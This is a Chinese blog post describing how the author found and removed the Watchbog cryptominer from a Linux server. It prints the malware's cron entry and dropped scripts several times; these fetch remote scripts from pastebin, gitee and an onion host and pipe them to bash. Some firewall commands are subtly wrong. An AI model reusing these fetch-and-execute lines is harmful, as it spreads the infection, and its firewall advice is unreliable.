Watchbog挖矿病毒程序排查过程

目录

第1章 情况

1)服务器收到cpu报警,cpu被占用达到100%,登录服务器查看,发现cpu被一个watchbog的进程占满了,如下图所示:

2)并且无论如何都杀不掉,用kill杀掉后,其还是会隔一会自动起来,很明显被加入了定时任务,果不其然系统自带的定时任务已经被入侵了,如下所示:

*/9 * * * * (curl -fsSL https://pastebin.com/raw/AgdgACUD||wget -q -O- https://pastebin.com/raw/AgdgACUD||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/uiZvw
xG8").read()'||curl -fsSL https://gitee.com/return_block/party_1/raw/master/main/api/README.md||wget -q -O - https://gitee.com/return_block/party_1/raw/master/main/api/README.md||curl -fsS
L https://aziplcr72qjhzvin.onion.to/old.txt||wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt)|bash

 3)当我们清除掉定时任务的内容之后,隔了一会,其又被加入了如上一模一样的内容,所以该病毒程序不是一般的病毒程序。

4)经过后来的了解,我们了解到了该进程watchbog为被植入的挖矿程序,该程序会在cron下面写入脚本,定期去pastebin.com下载木马开始挖矿,如果删除不彻底仍然会不定期启动这个挖矿程序,对我们的系统造成危害,影响的系统中再跑的其他业务。

5)在进行清理watchbog这个挖矿进程的过程中,我一开始虽然限制住了该watchog进程,因为能力有限,没有彻底清除掉,就是因为没有彻底清除掉该watchbog进程,其造成了我系统中再跑的服务每天都会宕机。

第2章 解决方案

2.1 修改/etc/hosts

通过观察定时任务内容,我们可以发现几个恶意网址,分别如下:

1)          ptpb.pw

2)          pastebin.com 

3)          gitee.com 

4)          aziplcr72qjhzvin.onion.to

我们可以先将上述这些地址重定向到本地

[root@localhost ~]# cat /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
127.0.0.1   ptpb.pw pastebin.com  gitee.com  aziplcr72qjhzvin.onion.to

2.2 防火墙控制出入流量

我们将上述被攻击者携带的域名所对应的的ip地址进行ip限制。

比如pastebin.com对应的ip为104.20.208.21或者185.100.85.150

iptables -A INPUT -s 104.20.209.21 -j DROP
iptables -A INPUT -s 185.100.85.150 -j DROP
iptables -A OUTPUT -s 104.20.209.21 -j DROP
iptables -A OUTPUT -s 185.100.85.150 -j DROP

保存修改内容

/sbin/service iptables save

centos7中没有service iptables save指令来保存防火墙规则。

解决方法:
systemctl stop firewalld 关闭防火墙
yum install iptables-services 安装或更新服务
再使用systemctl enable iptables 启动iptables
最后 systemctl start iptables 打开iptables

再执行service iptables save

3.重启iptables服务:

service iptables restart

执行完毕之后/etc/syscofig/iptables文件就有了

至于其他域名为了安全起见,也将其对应的ip全部按照上述方法进行限制,另外我们通过strace追踪watchbog进程,在日志中也发现了几个可疑的ip,建议将其一并封禁。

[root@localhost ~]# strace -p 3738    ##strace追踪watchbog主进程
strace: Process 3738 attached
略
connect(11, {sa_family=AF_INET, sin_port=htons(3333), sin_addr=inet_addr("185.92.222.223")}, 16) = -1 EINPROGRESS (Operation now in progress)
略
connect(11, {sa_family=AF_INET, sin_port=htons(3333), sin_addr=inet_addr("185.92.222.223")}, 16) = -1 EINPROGRESS (Operation now in progress)
略
connect(11, {sa_family=AF_INET, sin_port=htons(3333), sin_addr=inet_addr("178.128.242.134")}, 16) = -1 EINPROGRESS (Operation now in progress)

2.3 移除curl get脚本

因为该挖矿程序会借助curl、wget命令去下载病毒,所以第一时间我们需要进行如下操作:

mv /usr/bin/curl /usr/bin/lruc
mv /usr/bin/wget /usr/bin/tegw

2.4 删掉cron里面的相关任务

crontab -l
/etc/cron.d     
/etc/cron.deny    
/etc/cron.monthly  
/etc/cron.daily  
/etc/cron.hourly  
/etc/crontab       
/etc/cron.weekly

上述8个与cron相关的文件目录我们都需要仔细检查一遍,凡是有关curl pastebin.com等信息都要彻底删除。

不查不知道,一查吓一跳。

1) crontab -l

首先系统定时任务中我们就发现了。

*/9 * * * * (curl -fsSL https://pastebin.com/raw/AgdgACUD||wget -q -O- https://pastebin.com/raw/AgdgACUD||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/uiZvw
xG8").read()'||curl -fsSL https://gitee.com/return_block/party_1/raw/master/main/api/README.md||wget -q -O - https://gitee.com/return_block/party_1/raw/master/main/api/README.md||curl -fsS
L https://aziplcr72qjhzvin.onion.to/old.txt||wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt)|bash

2)/etc/cron.d    

该目录下新增了好几个命令:apache、root、system

详情如下:

 3)/etc/cron.deny  

没有发现

4)/etc/cron.monthly  

 5)/etc/cron.daily

6)/etc/cron.hourly 

 7)/etc/crontab 

我们在crontab文件中还发现了新的潜藏命令httpntp、ftpdns 

8)/etc/cron.weekly

没有发现

最后我们在用grep过滤一遍,确保完全清除干净。

2.5 删除恶意命令

同时我们还发现了恶意命令/bin/httpntp、/bin/ftpsdns、/usr/bin/watchbog

博主本人是从定时任务中发现这个恶意命令存在的。

httpntp如下:

 

[root@localhost ~]# vim /bin/httpntp 
(python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/uiZvwxG8").read()'||curl -fsSL https://aziplcr72qjhzvin.onion.to/old.txt||wget -q -O - https://aziplcr72qjhzvi
n.onion.to/old.txt)|bash
##

ftpdns如下:

[root@localhost ~]# vim /bin/ftpdns 
(python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/uiZvwxG8").read()'||curl -fsSL https://aziplcr72qjhzvin.onion.to/old.txt||wget -q -O - https://aziplcr72qjhzvi
n.onion.to/old.txt)|bash
##

 watchbog如下:是一个二进制文件

[root@localhost ~]# vim /usr/bin/watchbog
^?ELF^B^A^A^C^@^@^@^@^@^@^@^@^B^@>^@^A^@^@^@°?G^@^@^@^@^@@^@^@^@^@^@^@^@PM$^@^@^@^@^@^@^@^@^@@^@8^@
^@@^@"^@!^@^F^@^@^@^E^@^@^@@^@^@^@^@^@^@^@@^@@^@^@^@^@^@@^@@^@^@^@^@^@0^B^@^@^@^@^@^@0^B^@^@^@^@^@^@^H^@^@^@^@^@^@^@^C^@^@^@^D^@^@^@p^B^@^@^@^@^@^@p^B@^@^@^@^@^@p^B@^@^@^@^@^@^\^@^@^@^@^@^
@^@^\^@^@^@^@^@^@^@^A^@^@^@^@^@^@^@^A^@^@^@^E^@^@^@^@^@^@^@^@^@^@^@^@^@@^@^@^@^@^@^@^@@^@^@^@^@^@?ì#^@^@^@^@^@?ì#^@^@^@^@^@^@^@ ^@^@^@^@^@^A^@^@^@^F^@^@^@^X?#^@^@^@^@^@^X?<83>^@^@^@^@^@^X?
<83>^@^@^@^@^@?o^@^@^@^@^@^@??^@^@^
略

2.6 删除tmp目录下timesyncc.service文件

文件详情如下:

 

2.7 杀掉watchbog进程

ps -ef|grep watchbog|awk '{print $2}'|xargs kill -9

第3章 总结

面对挖矿进程我总结如下常规思路,如果遇到挖矿进程。

先后顺序如下:

1)查看定时任务,找到挖矿程序在执行的内容。

2)将恶意网址的hosts全部重定向到本地(127.0.0.1)

3)仔细查看审核与定时任务有关的文件和目录,进行清除

4)删除恶意的命令与包,重命名系统中被利用的命令

5)杀掉对应恶意进程(为什么放到最后呢?因为就算最早杀掉,其还是会因为定时任务等等自动启动)

 

补充:以上思路是常规思路,

也可以直接关闭crontab定时任务,然后进行上述思路一步步排查,在检查无误后,再启动。

最后声明,以上的基本都是复制别人的博客,只是和我遇到的问题一样,我只是记录一下。

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值